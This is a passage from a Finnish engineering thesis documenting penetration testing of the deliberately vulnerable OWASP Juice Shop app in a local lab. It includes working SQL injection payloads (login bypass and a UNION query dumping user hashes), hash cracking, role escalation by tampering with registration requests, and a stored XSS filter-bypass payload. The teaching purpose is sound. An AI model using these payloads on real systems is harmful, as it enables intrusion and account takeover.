koliikenne voidaan ohjata Burp Suiteen. Oletusasetuksilla Burp Suite kuuntelee
lokaalisti portissa 8080 ja apt-paketinhallintajarjestelmalla ladattu Juice Shop lo-
kaalisti portissa 42000, joten kuvassa 10 esitetyilla FoxyProxyyn tehdyilla ase-
tuksilla vain Juice Shopin verkkoliikenne kulkee Burp Suiten proxyn kautta.
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@ Options Proxies Import Pattern Tester Log Help About

@ burp GO 5 5 AY

Title Hostname 127.0.0.1
Type v Port 8080
Country v Username

City city Password

Color D o

Quick Add Include Type Pattern
v Include v Wildcard v title *:/[127.0.0.1:42000/*

Kuva 10. Kuvakaappaus FoxyProxyyn tehdyista asetuksista.

Valkolistaamalla Juice Shopin IP-osoite ohjataan muu verkkoliikenne ohi pro-
xysta. Tama siksi, etta verkkoliikenteen valiintulo voi olla laitonta, joten on tar-

keaa pidattaytya vain testattavassa, sallitussa ymparistossa.

5 Haavoittuvuuksien testaaminen

Tassa luvussa demonstroidaan haavoittuvuuksien paikantamista ja niita vas-
taan hyokkaamista kayttaen hyodyksi edellisessa kappaleessa esiteltyja tekno-
logioita ja ymparistoa. Penetraatiotestausta sen varsinaisessa muodossa ei ko-

konaisuutena suoriteta, vaikka tama luku sisaltaakin sille ominaisia vaiheita.

5.1 Juice Shopin kartoitus

Juice Shop on avoimen lahdekoodin projekti, joten tiedot kaytetyista teknologi-
oista olisivat helposti saatavilla nopealla Google-haulla. Tdman tydn puitteissa
on kuitenkin syyta demonstroida tiedustelu- ja kartoitusvaihetta kaytannossa, jo-
ten alkuun suoritettiin selaimessa Wappalyzer-lisdosalla selvitys verkkosivun

kayttamista teknologoista, jonka tulokset ovat nahtavissa kuvassa 11.
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°Wuppu|yzer @ B ¢

TECHNOLOGIES MORE INFO * Export

JavaScript frameworks Programming languages
Y Zonejs FB  TypeScript

B Angular 1529
CDN

Font scripts cdnjs

[3  Font Awesome Cloudflare

Miscellaneous JavaScript libraries

@ Module Federation & |Query 224

@  Webpack 4 cores 3330

Kuva 11. Kuvakaappaus Wappalyzerin tunnistamista teknologoista.

Tarkea huomio tuloksista on, etta web-sovellus on rakennettu kayttaen Angular-
ohjelmistokehysta, mika tarkoittaa sita, etta tietyt tyokalut ja hyokkaykset eivat

ole singe-page-sovellusta vastaan yhta tehokkaita.

Seuraavaksi ajettiin Zed Attack Proxylla Spider- ja AJAX Spider -tyokalut, joiden
avulla saatiin muodostettua web-sovelluksen kansiorakenne ja I0ydettiin piilotet-
tuja ja mielenkiintoisia tiedostoja, joita ei ole tarkoitettu saavutettavaksi. AJAX
Spider on oleellinen tydkalu single-page-sovellusten kanssa, koska se pyrkii
kayttamaan sovelluksen toiminnallisuuksia ja kartoittaa sitd myoten esimerkiksi

erilaisia rajapintapyyntdja. Kuvassa 12 nakyy osittainen kansiorakenne.
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[ rest

@ [0 %8 GET:admin
|4 admin
@l | GET:application-confige
@ -4l GET:application-versior
|1 ¥8 captcha
@ U8 GET./

@| |4 GET:continue-code

@] |8 GET:languages
[ ¥ memories
@] 8 GET/

@] 4 %% GET.products
| products
@] | GET:search(q)
U 8 user
@ U ¥ POST:login()({"ema
@ U ¥ POST:login()({"ema
@l |- 8 POST:login()({"ema
@ 4 POST:login() ({"email™:'
@ 4 GET:security-question(
@ 8 GET:whoami

@ U ¥ GET:ro.svg
@| |4 %% GET:robots.txt

Kuva 12. Kuvakaappaus osittaisesta kansiorakenteesta.

Kansiorakenteesta 10ytyy heti muutamia kiinnostavia 16ydoksia, kuten admin-,
memories- ja ftp-kansio, joista viimeinen on jo ensimmainen I6ydetty tietoturva-
riski, silla se sisaltaa sensitiivista dataa, joka on saatavilla erittain helposti ulkoi-
sille osapuolille. Kansio sisaltdéda muun muassa varmuuskopiotiedostoja ja ac-
quistions-tiedoston, joka on tarkoitettu luottamukselliseksi. Pohjustus on tehty,
joten seuraavaksi tehtiin aktiivinen skannaus ZAPilla, jota ennen luotiin kayttaja-
tunnus Juice Shoppiin, jotta myos kirjautumisen taakse jaavat ominaisuudet voi-
daan kayda kattavasti lapi. ZAPin aktiivinen skannaus on automatisoitu hyok-
kays, joka etsii ja hyvaksikayttaa heikkouksia web-sovelluksessa. Aktiiviseen
skannaukseen on mahdollista syottaa monipuolisesti erilaisia asetuksia — tassa
tapauksessa siihen syatettiin kirjautumistiedot ja suodatettiin pois testit sellai-
sille teknologioille, joiden tiedetdan olevan turhia tatd web-sovellusta vastaan.
Kuvassa 13 nakyy vasemmalla kansiorakenne ja osa tehdyista GET-http-pyyn-
noista, oikealla ylalaatikossa tehty pyynto ja sen alapuolella punaisella merki-
tyssa laatikossa saatu vastaus, joka sisaltaa olennaisen tekstin paljastuneesta

luottamuksellisesta acquisitions.md -tiedostosta.
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e Ra=E Header: Text ~ | Body: Text ~ [ [
o] 4 GET:dk.svg HTTP/1.1 200 OK
@] U ¥ CET.ee.svg Access-Control-Allow-Origin: *
) ) X-Content-Type-Options: nosniff
-l #8 CET:es-ct.
“r ¥ CET:es-ct.svg X-Frame-Options: SAMEORIGIN
©] [V 8 GET:es.svg Feature-Policy: payment 'self'
@] U ¥ CET fi.svg X-Recruiting: /#/jobs

Accept-Ranges: bytes

- GET:font-mfizz. woff
. Cache-Control: public, max-age=0

6] [ 48 CET:fr.svg Last-Modified: Tue, 83 Oct 2023 20:32:22 GMT
o] 4 ## GET:ftp ETag: W/"38d-18af73ddffe"
= P8 ftp # manned Acquisitions

& o 48 GETY

= This document is confidential! Do not distribute!
@ [0 $# GET:announcement_e Our company plans to acquire several competitors within the next

y ) year.

S 4% GET eastere.gg This will have a significant stock market impact as we will

@ [0 48 GET:encrypt.pyc claborate in

@ [ % GET:incident-support.k f§ detail in the following paragraph:

Kuva 13. Kuvakaappaus ZAP-ohjelmasta.

Automaattinen, aktiivinen skannaus tuotti satoja halytyksia loydetyista, potenti-
aalisista haavoittuvuuksista, joista iso osa oli kuitenkin jo nopealla tarkastuk-
sella vaaria ja osa vain informatiivisia ilmoituksia. Esimerkiksi kaikki timestamp
disclosure -halytykset ovat vaaria ja ne voidaan jattdaa huomiotta. Tama on hyva
esimerkKi siita, etta automaattinen penetraatiotestaus ei ole riittavaa, vaan loy-
doksien analysoiminen ja tehtavat jatkotoimenpiteet vaativat myos manuaalista
tyota, jotta testattavan web-sovelluksen tietoturvasta saadaan realistinen tilan-
nekuva. Automaattiset testit toimivat kuitenkin erinomaisena pohjana, kun
alussa etsitaan haavoittuvuuksia, ja tassakin tapauksessa saatiin erityisen mie-
lenkiintoinen 16ydds, joka on SQL-injektiosta syntynyt korkean prioriteetin varoi-
tus, joka nakyy kuvassa 14. Samaisesta kuvasta on huomattavissa, etta virheil-
moitus http-vastauksessa on erittdin huonosti toteutettu, silla se paljastaa kay-

tettavan tietokannan teknologian, joka on SQLite.
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File Edit View Analyse Report Tools Import Export Online Help

Standard Mode ~|[] 2 & gl EaeEmE a8 7 @ $E-Ee @
@ Sites 4 § 4 Quick Start  =» Reguest <= Response /Requester <=
@ QB = Header: Text ~ | Body: Text ~ [] [

@l U § GET:cz.svg HTTP/1.1 580 Internal Server Error

| |4 %8 GET:de.svg Access-Control-Allow-Origin: *

= . X-Content-Type-Options: nosniff

U 4 GET:dk.svg X-Frame-Options: SAMEORIGIN

ol [ ¥ GET.ee.svg Feature-Policy: payment 'self’

@] U #8 GET:es-ct.svg X-Recruiting: /#/jobs

T~ ) Content-Type: application/json; charset=utf-8
I U 4 GET:es.svg Vary: Accept-Encoding

©| U ¥ GET:fi.svg Date: Wed, 13 Mar 2024 17:36:54 GMT
@] |4 GET:font-mfizz.woff Connection: keep-alive
© b 8 GET:fr.svg {
i_ U4 GET:ftp : "SOLITE ERROR: near “'(\": syntax error",
= U ftp : "Error: SQLITE ERROR: near \"(\": syntax error",
@] o % GET./ 1,
— : "SOLITE ERROR",
51 Fu OSETE
©] |8 4 GET:announcement_e W "SELECT * FROM Products WHERE ((name LIKE 'S%'(%' OR description LIK
5 U ¢ GET eastere.gg E '%'(%') AND deletedAt IS NULL) ORDER BY name"
B 1
= History < Search  [UAlerts & Qutput  # WebSockets 4 Spider & AJAX Spider ) Active Scan ==
@e J ¢ If)escription: . -
o Alerts (21) SQL injection may be possible.

[F Cloud Metadata Potentially Exposed
[ Open Redirect
[ SQL Injection - SQLite (3) Other Info:
| e Ay o NeRE el [ofj=EdlslesWlad | RDBMS [SQLite] likely, given error message reqular expression
_| POST: http://127.0.0.1:42000/rest/user/lo | [SQLITE ERROR] matched by the HTML results.
_| POST: http://127.0.0.1:42000/apl/Users/ The wulnerability was detected by manipulating the parameter to
4 CSP; Wildcard Directive (2)

Solution:
i Content Seclur|tyl Policy (CSP,) Header Not Set Do not trust client side input, even if there is client side validation in
4 Cross-Domain Misconfiguration (250) place.

|8 Missing Anti-clickjacking Header (111) In general, type check all data on the server side.
(i Session ID in URL Rewrite (459)

FVulnerable |S Library

iU Application Error Disclosure (4)

-1 Cross-Domain JavaScript Source File Inclusion
|1 Private IP Disclosure

Reference:

https://cheatsheetseries. owasp.org/cheatsheets/SQL_Injection_Preve
ntion_Cheat_Sheet.htmi

Alert Tags:
Alerts U3 U6 U5 17 Main Proxy: localhost: 8080 Current Scans 43 0 &0 @0 H 0 @0 0 #0 #0

Kuva 14. Kuvakaappaus ZAP-ohjelmasta, jossa nakyy saatu virheilmoitus.

5.2 SQL-injektio

Edellisessa luvussa I6ytyi korkean prioriteetin varoitukset SQL-injektion mahdol-
lisuudelle sisaankirjautumissivulla ja tuotesivun hakutoiminnossa, joten seuraa-
vaksi on hyva varmistaa manuaalisesti SQL-injektiopisteet. Kartoituksen poh-
jalta selvisi, etta Juice Shop kayttaa SQLite-tietokantaa, joten injektiota voidaan
testata heittomerkilla syotekentassa, mika onnistuu erinomaisesti Burp Suiten
Repeater-tydkalulla. Kuvassa 15 sovelluksen hakutoiminnon tekemaan GET-

pyyntdon lisattiin hakusanan "apple” peraan heittomerkki, jolloin tietokanta
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palauttaa virheilmoituksen virheellisesta syntaksista. Tama tarkoittaa sita, etta

syotetta ei sanitoida, jolloin haavoittuvuus on varmistettu.

Request
Raw Hex I =
1 GET /srest/products/search?g=apple’
HTTF/1.1

2 Host: 127.0.0.1:42000

3 User-Agent: Mozilla/S.0 (¥11: Linux
xB6_64; rv:109.0] Gecko/ /20100101
Firefox/115.0

4 Accept: application/json, text/plain, */*

5 Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

3 Referer: http://127.0.0.1: 42000/

9 Coockie: language=en; welcomebanner_status=
dismiss; cookieconsent_status=dismiss;
continueCode=
Jb4g¥o3RSrXay] xwlBk TNGL 1t LfxyuyQFMWE 7102V 2
vBpgDMEKOLETPmnZe2

10 Sec-Fetch-Dest: empty
11 Sec-Fetch-Mode: cors
12 Sec-Fetch-Site: same-origin
13 If-Mone-Match:
Wy " 325 - Rkwl EHUa THCSFTYSUWCEK / 8Hf Tmg "
14

Feature-Policy: payment 'self’
¥-Recruiting: /#/jobs
Content -Type: applicationsjson;
charset=utf-8

B Vary: Accept-Encoding

S Date: Wed, 13 Mar 2024 19:50:49 GMT
10 Connection: close
11 Content-Length: 321

a- -
Response
Pretty Raw Hex In =
1 HTTPf1.1 520 Internal Server Error
2 Access-Control-Allow-Origin: #
3 ¥-Content-Type-Options: nosniff
4 ¥-Frame-Options: SAMEORIGIN
E.

12

13 {

14 "error":q{

15 "message":
"SOLITE_ERROR: near \"'%'\": syntax er
rar",

16 "stack":
"Error: SOLITE_ERROR: near YW''%'\W": sy
ntax error",

17 "errno":l,

18 "code" ! "SOLITE _ERROR",

19 "sql":
"SELECT #* FROM Products WHERE [(name L
IKE '%apple'%' OR description LIKE '%a
pple'%') AMD deletedAt IS MULL) ORDER
BY name"

20 T

21}

Kuva 15. Kuvakaappaus Burp Suiten Repeater-tyokalusta.

Sisaankirjautumissivun haavoittuvuus osoittautui erittain vakavaksi, silla kokeile-

malla klassista boolean-tyyppistd SQL-injektiota ” 'OR 1=1--", avautui paasy

admin-kayttajan tilille. Toimintalogiikka injektiossa perustuu siihen, etta ensim-

mainen hakamerkki sulkee alkuperaisen merkkijonon ja lisaa sen peraan eh-

don, joka evaluoituu aina true-arvoksi. Lopuksi kaksi viivaa aloittaa kommentin,

joka sulkee loput SQL-lausekkeesta ulos. Juice Shopin hakutoiminnosta |0yty-

nyt injektiohaavoittuvuus on astetta vaikeampi kayttaa hyodyksi, joten apuna

kaytettiin Sglmap-tydkalua, jolla hyokkays injektiopisteeseen automatisoitiin.

TyOkalun avulla saavutettiin tietoa tietokannan rakenteesta ja haavoittuvuuden

alttiudesta ainakin union-tyyppiselle SQL-injektiolle, joskin huomionarvoisena

seikkana testien aikana nousi tyOkalun hitaus ja epaluotettavuus. Tyokalun hi-

taus mita luultavimmin johtui virtuaalitietokoneen rajoitetusta tehosta ja
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epaluotettavuus virheellisesti kaytetyista parametreista, eli kayttajan virheesta.

Lopulta tietokannan lataaminen rajoitettiin Users-taulukkoon ja tulokset tallen-

nettiin csv-tiedostoon, jonka data siistittiin Excelilla. Taman lisaksi koodiesimer-

kissa 2 nakyva, manuaalisesti toteutettu union-tyyppinen injektio onnistui, ja sen

pohjalta saatua luotettavaa Users-taulukon dataa verrattiin automaattisesti ke-

rattyyn dataan, josta tall6in ilmeni runsaasti virheita. Lyhyesti sanottuna Sqlmap

oli sijoitellut taulukon solujen sisaltamaa tietoa vaariin paikkoihin.

GET /rest/products/search?g=apple'))UNION+SELECT+id, role,email, pass—
word,username, totpsecret,deluxetoken, lastloginip, 9+FROM+Users; ——

Esimerkkikoodi 2. Burp Suiten Repeater tydkalulla tehty SQL-injektio.

Kuvassa 16 on nakyvilla lopullinen ja siistitty data Excel-taulukkona. Taulukosta

on rajattu pois epaoleellisia tietoja, kuten kayttajatunnusten luonti-, paivitys- ja

poistopaivat, silla nama eivat olleet tyon kannalta merkityksellisia.

B email
admin@juice-sh.op

2 customer jim@juice-sh.op

3 customer bender@juice-sh.op

id §d role
1 admin

4 admin bjoern.kimminich@gmail.com
5 deluxe ciso@juice-sh.op
6 admin support@juice-sh.op

7 customer morty@juice-sh.op
8 customer mc.safesearch@juice-sh.op
9 admin J12934@juice-sh.op
10 admin wurstbrot@juice-sh.op
11 customer amy@juice-sh.op
12 admin bjoern@juice-sh.op
13 deluxe bjoern@owasp.org
14 customer chris.pike@juice-sh.op
15 accounting accountant@juice-sh.op
16 customer uvogin@juice-sh.op
17 customer demao
18 customer john@juice-sh.op
19 customer emma@juice-sh.op
20 deluxe stan@juice-sh.op
21 deluxe ethereum@juice-sh.op

ﬂpamml:l ﬂ

0192023a7bbd73250516f069df18b500
e541ca7ecf72b8d1286474fc613e5:45
0c36e517e3fad5aabflbbffco744adef
peddod72echbdc873c539e41ae8757b8C
861917d5fasf1172f931dc700d81a8fb
3869433d74e3d0cBefd25562f836bCB2
f2f933d0obb0ba0s7bc8e33bsebdedoed
b03fab0basb458fadacdc02cdb953bea
3c2aboldedaneadf1327d0aas371407d
9ad5b0492bbe5285832128d2a8941ded
030f05e45e30710c3ad3c32f00de0473
7f311911af16fasf418dd1a3051d6a10
9283f1b2e9669749081963be04622466
10a783b9%ed19ealch7c3a27699100950
963e10f92a70b4b463220chAc5d636dc
05f92148b4bo0f7dacd0dcceebbsflaf
feOlce2a7fbacBfafaed7c982a042229
00479e957b6b42c45922574647824d45
402f1c4a75e316afecsabean3147f739
£9048a3f43dd5e094ef733f3bdE8eand
2c17c6393771ee3048a234d6b380c5ec

Kuva 16. Osa keratysta Users-taulukon datasta.
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5.3 Salasanojen murtaminen

Luvussa 5.2 kaikkien Juice Shopin kayttajien kirjautumistiedot onnistuttiin lataa-
maan, mutta salasanat ovat suojattu salausalgoritmilla. Tama on ongelma,
koska nykyisessa muodossaan salasanoja ei voi kayttaa hyvaksi sellaisenaan,

joten ne taytyy murtaa.

Ensimmaisena on hyva tarkistaa, onko l6ydettyja salasanoja jo ennestaan mur-
rettu, joten CrackStation-palvelulla testattiin salasanatiedot. Kuvassa 17 nah-

daan, etta salasanoista neljalle 16ytyy selkotekstinen vastine CrackStationin tie-
tokannasta, eli joku on ne aiemmin murtanut. Salasanat on pyritty suojaamaan
kayttaen MD5-algoritmia, joka on tahan tarkoitukseen erittain heikko ja vanhen-

tunut. Kyseessa on siis salaustekninen virhe.

©192823a7bbd73258516T069dT18b508 -
e541ca7ecf72b8d1286474T 61325245
@c36e517e3fa95aabflbbffce744adef
6edd9d726cbdcB73c539e41ae8757bsc
861917d5Ta57T1172f931dc700d31as8fh
3869433d74e3dec86Td255621836bc32
f2f933debbeba@s7bcBe33b3ebdedoes
b@3f4b@ba8ba58fabacdc@2cdbd53bes
3c2abcddedabeadf1327d0aae3714b7d
9ad5bB8492bbe528583e128d2a8941ded
@3ef@5e45e38718c3ad3c32feadedar3
fe@lce2a7fbacBfafacd7c982a042229 -

Supports: LM, NTLM, md2, md4, md5, md5({md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpeal, MySQL 4.1+ (shal(shai_bin)),
QubesV3.1BackupDefaults

Hash Type Result

Kuva 17. Kuvakaappaus CrackStation-verkkosivulta.
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Hashcat-tydkalulla suoritetut testit eivat onnistuneet murtamaan muiden kuin
neljan jo ennestaan tunnetun salasanan salauksia, joten seuraavaksi yritettiin
John The Ripper -tyokalua, mika jai myos tuloksettomaksi yritykseksi murtaa
muita salasanoja. TyoOkaluilla ajettiin I0ydetyt salasanat sanalistoja vastaan,
mitka todennakoisesti olivat tahan tarpeeseen puutteelliset, tai sitten osa sala-
sanoista on suojattu suolauksella. Hash-analysointiin tarkoitetuilla palveluilla
voidaan arvioida hajautusfunktioilla luotuja salasanasuojauksia, ja tuloksena oli
kaikkien salasanojen kohdalla MD5-algoritmin kaytto ilman suolausta.
Hashes.com-palvelun tietokannasta |oytyi lopuksi viela kolme ennestaan mur-

rettua salasanaa, joista yksi ei kuitenkaan ollut toimiva.

5.4 Jarjestelmanvalvojan ja kirjanpidon hallintasivut

Aikaisemmissa luvuissa saavutettiin paasy sensitiiviseen tietoon ja admin-kayt-
tajan kirjautumistiedot pystyttiin murtamaan. Nailla tunnuksilla kirjautuessa si-
saan havaitaan, etta suoraa paasya jarjestelmanvalvojan sivulle, asetuksiin tai
muuhun sellaiseen ei ole saatavilla. Firefoxin kehittajatyokalulla pikainen selaus
admin-hakusanalla HTML- ja main.js -tiedostoissa tuottaa tulosta ja jarjestel-
manvalvojan sivu l6ytyy osoitteesta http://127.0.0.1:42000/#/administration.
Sivu on niin helposti I6ydettavissa, etta sen olisi voinut [0ytaa arvaamalla, mutta
samalla 16ytyi lukuisa maara aikaisemmin kartoittamattomia polkuja, kuten
http://127.0.0.1:42000/#/accounting seka uusia kutsuja ohjelmointirajapintaan.
Accounting- ja admin-sivu ovat molemmat lukittuna vain kayttajille, joilla on asi-
anmukainen rooli ja oikeudet. Aikaisemmin esitellyssa kuvassa 16 on nakyvilla
kayttajien roolit, joista voidaan paatella, onko kayttajalla oikeudet accounting- tai
admin-sivuille. Sivuille pyrkiminen oikeudettomalla kayttajalla ponnauttaa 403-

ilmoituksen, mika on huonoa suunnittelua.

Juice Shopin toiminto kayttajan rekisterdinnille on toteutettu heikosti, silla palve-
linpuolen ohjelma ei validoi dataa ja kayttajan luominen accounting-roolilla on-
nistuu pysayttamalla http-likenne Burp Suitella ja manipuloimalla rekisterointi-
tietoja, mika nakyy kuvassa 18. Samalla logiikalla myés admin-kayttajan luomi-

nen on mahdollista.
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a-= =
Request Response
Pretty Raw Hex n = Pretty Raw Hex n =

HTTP/1.1 201 Created
Access-Control-Allow-Origin: *
¥-Content-Type-Options: nosniff
¥-Frame-Options: SAMEORIGIN

. Feature-Policy: payment ‘'self’

1 POST fapifUsers/ HTTR/1l.1

2 Host: 127.0.0.1:42000

3 User-Agent: Mozilla/5.0 (¥11; Linux
¥B6_B4; rv:109.0) Gecko/201001C01
Firefox/115.0

o W I R

4 Accept: application/json, text/plain, */%  X-Recruiting: /#/jobs
5 Accept-Language: en-US,en;q=0.5 7 Location: sapisusers/23
& Accept-Encoding: gzip, deflate, br & Content-Type: application/json:
7 Content-Type: applicatien/json charset=utf-8
& Content-Length: 254 2 Content-Length: 301
9 Origin: http://127.0.0.1:42000 10 ETag: W/"12d-k0OrwNJIH/MNk1ZoUc81 Ny GFHLATOL"
10 Connection: close 11 Vary: Accept-Encoding
11 Referer: http://127.0.0.1:42000/ 12 Date: Thu, 14 Mar 2024 20:43:34 GMT
12 Cookie: language=en; welcomebanner_status= 13 Connection: close
dismiss; cookileconsent_status=dismiss; 14
continueCode= 15 {
BVeflZxgRdK1tYtYIpfQSqpuRRhYbIkKTzphalFy Xt "status":"success"
KpUj ruay OPaywYOxbD “data":{
13 Sec-Fetch-Dest: empty "username":"",
14 Sec-Fetch-Mode: cors "deluxeToken":"",
15 Sec-Fetch-Site: same-origin "lastLoginIp":"0.0.0.0",
16 "profileImage":
17 { "Jassets/public/images/uploads/default
"email":"acc@accl", svg",
"password":"accl23", "isActive":itrue,
"passwordRepeat " "accl23", "id":23,
18 "role":"accounting", "email": "acc@accl”,
19 "securityQuestion":{ "role":"accounting",
"id"i2, "updatedat " " 2024-03-14T20: 43, 34, 090Z"
"gquestion": "Mother's maiden name?", .
"createdAt":"2024-03-14T713:31:01.853Z" "createdAt": " 2024-03-14T20: 43, 34, 090Z"
"updatedAt": "2024-03-14T713:31:01,8532" "deletedAt” :null
1, T
"securityAnswer":"asd" T
T

Kuva 18. Kuvakaappaus Burp Suitesta ja onnistuneesta vilpillisesta rekisterdin-
nista.

Accounting-sivulle paasemalld avautuu mahdollisuus muokata olemassa olevia
tuotteita ja hallita asiakkaiden tekemia tilauksia, mutta tuotteiden maaran muok-

kaaminen on IP-osoitteen mukaan estetty.

Tama osuus on osoittanut kaytanndssa, kuinka heikko paasyoikeuksien hallinta
yhdistettyna kayttajan syottaman datan puutteelliseen validointiin ja sanitointiin
aiheuttaa helposti kayttajaoikeuksien eskalaation, jolloin hydkkaajalle avautuu
paasy sellaisiin ominaisuuksiin ja toimintoihin, jotka eivat hanelle kuuluisi. Teh-
tyja muutoksia tuotteisiin ja tilauksiin accounting-sivulla nakyy kuvassa 19.
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Accounting

Track Orders All Products

Price c
Product Price

)837099d5ebf 30.9
c70 Apple Juice (L000mI)
B pple Juice ( L \/
5267-72a0be71c07af 26.97x
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pple Pomace 089 Bv 5
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2da Banana Juice . — ’
(1000ml)

Best Juice Shop

5000 |8
Salesman Artwork ﬁ

Carrot Juice (1000ml)
ot Juice ( '2.99 Bv 5

Kuva 19. Kuvakaappaus accounting-sivulta. Muutoksia on tehty tilauksiin ja
tuotteiden hintoihin.

5.5 Heikkoudet paasyoikeuksien hallinnassa

Tahan mennessa on tullut hyvin ilmi, ettd Juice Shopissa on runsaasti haavoit-
tuvuuksia paasyoikeuksien hallinnassa. Aikaisemman luvun toteutuksen aikana
huomattiin, etta jarjestelmanvalvojan sivulla nakyy avoimesti kaikki palautelo-
makkeen kautta lahetetyt viestit, mika on erityisen kiinnostava tieto, kun huomi-
oidaan heikosti toteutettu paasyoikeuksien hallinta yhdistettyna mahdollisuuteen

lahettaa palautetta kirjautumatta sisaan.

Koska palautelomake vaikuttaa kiinnostavalta toiminnallisuudelta haavoittu-
vuuksien kannalta, kannattaa sen toimintaan perehtya tarkemmin ja selvittaa,
voisiko sita kayttaa hyokkaysvektorina. Kuvassa 20 nékyy asiakaspalautelo-

make, jonka tekemat pyynnét tullaan jalleen pysayttdmaan Burp Suiten proxylla.
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Customer Feedback

Rating

CAPTCHA: Whatis 3+448 7

Result *

Kuva 20. Kuvakaappaus Juice Shopin asiakaspalautelomakkeesta.

Ensimmaiset testit suoritettiin kirjautumatta sisaan, jolloin huomattiin, etta http-
vastauksessa arvo on null kohdassa Userld. Tama tarkoittaa sita, etta potenti-
aalisesti paasyoikeuksienhallinta voidaan ohittaa, jos palvelin ei tarkasta palau-
teen lahettajan identiteettia lahetettya dataa vastaan. Toisena huomiona il-
maantui se, ettda CAPTCHA-testi voidaan ohittaa kayttamalla Burp Suiten Re-
peater-tyOkalua toistamaan samaa http-pyyntoa. Tama on virhe automaation
estossa.

Toisessa testissa Userld-kentta populoitiin tunnetulla, olemassa olevan kaytta-
jan id-numerolla ja havaittiin, etta toisen kayttajan nimissa pystytaan lahetta-

maan palautelomakkeella tietoa esteettomasti, mika nakyy kuvassa 21.
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a- -
Request Response
P Raw Hex n = Pretty Raw Hex n =
1 POST fapi/Feedbackss HTTP/1.1 1 HTTPf1.1 201 Created
Z Host: 127.0.0,1:42000 2 Access-Control-Allow-Origin: #
2 User-Agent: Mozilla/5.0 (¥11; Linux 3 ¥-Content-Type-Options: nosniff
x86_64; rv:109,0) Gecko,/20100101 4 X-Frame-Options: SAMEORIGIN
Firefox/115.0 5 Feature-Policy: payment 'self’
4 Accept: applicationsjson, textsplain, */% & X-Recruiting: /#/jobs
5 Accept-lLanguage: en-US,en;g=0.5 7 Location: fapi/Feedbacks/28
& Accept-Encoding: gzip, deflate, br & Content-Type: application/json;
7 Content-Type: application/json charset=utf-8
2 Content-Length: 80 9 Content-Length: 159
S Origin: http://127.0,0,1:42000 10 ETag: W/"9f-KHpUslQDcYm7VSa]j LkYC7CTULUZE"
10 Connection: close 11 Vary: Accept-Encoding
11 Referer: http://127.0.0.1:42000/ 12 Date: Thu, 14 Mar 2024 22:25:18 GMT
12 Cookie: language=en; welcomebanner_status= 1% Connection: close
dismiss: cookieconsent_status=dismiss; 14
continueCode= 15 {
WPgqvLoOAdohot zt 9TvTmhbSzXuWWh r1ToZTOYhQwFL "status":"success",
Kt KoUrbuVmBxDELSZr “data":{
12 Sec-Fetch-Dest: empty “id": 28,
14 Sec-Fetch-Mode: cors "comment":"testings",
15 Sec-Fetch-Site: same-origin "rating":2,
16 "UserId":23,
17 { "updatedAt":"2024-03-14T22: 2518, 3022"
"captchald":&, .
"captcha":"-2", "createdAt":"2024-03-14722: 2518, 302Z"
"comment":"testings", i
"rating":2, T
18 "UserId":23
19}

Kuva 21. Kuvakaappaus Burp Suitella tehdysta http-pyynndsta ja saadusta vas-
tauksesta.

Tehdyt havainnot testien perusteella osoittavat, etta palautelomaketta voi olla
mahdollista kayttaa hyvaksi erittain vahingoittavasti. Johtopaatds perustuu sii-
hen, etta lahetetyn datan validoimatta jattaminen ja sen paatyminen jarjestel-
manvalvojien kayttamalle sivulle tekee palautelomakkeesta erittain mielenkiin-

toisen hyokkaysvektorin, jonka potentiaali on hyva selvittaa.

5.6 XSS-hyokkays palautelomakkeen kautta

Palautelomakkeen kautta lahetetyt tiedot tallennetaan tietokantaan, josta ne

haetaan joka kerta, kun jarjestelmanvalvojan sivulla vieraillaan. Kun lisaksi ote-
taan huomioon aikaisemmassa luvussa tehdyt havainnot, on palautelomake hy-
vin todennakdisesti erinomainen hydkkaysvektori pysyvalle XSS-hydkkaykselle.
Myds Juice Shopin pistetaulukon haasteista ilmenee, etta tamanlainen haavoit-

tuvuus pitaisi Ioytya.



44

Heti hyokkayksen alussa ilmeni ongelmia, silla palvelinpuolella olikin jonkinlai-
nen sanitointi kaytdssa, minka vuoksi XSS-hyokkaykset eivat olleet heti toimi-
via. Palvelimella oleva ohjelma naytti puhdistavan ainakin script-elementit,
HTML-elementtien kulmasulkeet seka kaiken sisallon naiden sisalta. Pysyvan
XSS-hyokkayksen toteuttaminen tassa tapauksessa osoittautui yllattavan haas-
tavaksi ja aikaa toimivan hyokkayksen loytamiseen kului useita tunteja, joten Ia-
hestymiskulma sen suhteen tuskin oli kovin optimaalinen. Hyokkays kohdistet-
tiin palautelomakkeen kommenttikenttdan ja se toteutettiin Burp Suiten Re-
peater-tyokalulla, jolla hyokkays eteni askel kerrallaan tarkkailemalla palveli-
melta saatuja vastauksia ja analysoimalla, kuinka palvelin reagoi eri kulmasul-
keiden ja elementtien yhdistelmiin. Luovuutta kaytettiin myods siing, etta Ioydet-

tiin tekija, joka lopulta laukaisee suoritettavan JavaScript-koodin selaimessa.

Lopulta kuitenkin hyokkays onnistui koodiesimerkissa 3 kaytetylla hyokkayk-
sella, jossa img-elementin alkuun on sisallytetty ylimaarainen img-elementti,
joka toimii puskurina palvelimen sanitaatiologiikalle jattaen hydkkayksen toteut-
tavan img-elementin huomioimatta. Kuvan lahteeksi on asetettu risuaita, joka ai-
heuttaa kuvan lataamisessa virheen ja laukaisee onerror-ehdon, joka suorittaa

siihen annetun JavaScript-koodin.

<<img></img>img src=# onerror=\"javascript:alert(’tdd ei tuu poistuu
tddlta koskaan, WOOO OOOO OOO0O’)\">

Esimerkkikoodi 3. Onnistunut XSS-hyokkays.

Vaikka hyokkayksen toteuttamiseen kului paljon aikaa, olisi oikealle, vaaralli-
selle hyokkaykselle aika sen arvoista, silla joka kerta, kun jarjestelmanvalvoja
vierailee sivulla, koodi suoritetaan. Hydkkayksella olisi mahdollista jatkaa esi-
merkiksi tekemalla skripti, joka varastaa jarjestelmanvalvojan istuntoavaimen ja
lahettaa sen vilpilliselle taholle, jolloin tama saavuttaisi paasyn jarjestelmanval-
vojan kayttajalle. Lopputuloksena kuvasta 22 iimenee, kuinka jarjestelmanvalvo-
jan sivulla vierailtaessa XSS-hydkkays kaynnistyy ja tervehtii pelottavalla vies-

tilla.
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@ 127.0.0.1:42000

tdd ei tuu poistuu t3altd koskaan, WOOO 0000 00000

Kuva 22. XSS-hydkkayksen kaynnistama alert-tapahtuma.

6 Yhteenveto

Tama insindorityd oppimisprosessina ja aiheena oli hyvin antoisa, mielenkiintoi-
nen ja hauska. Kokonaisuutena insindorityon lopputulos vastaa sita, mita alussa
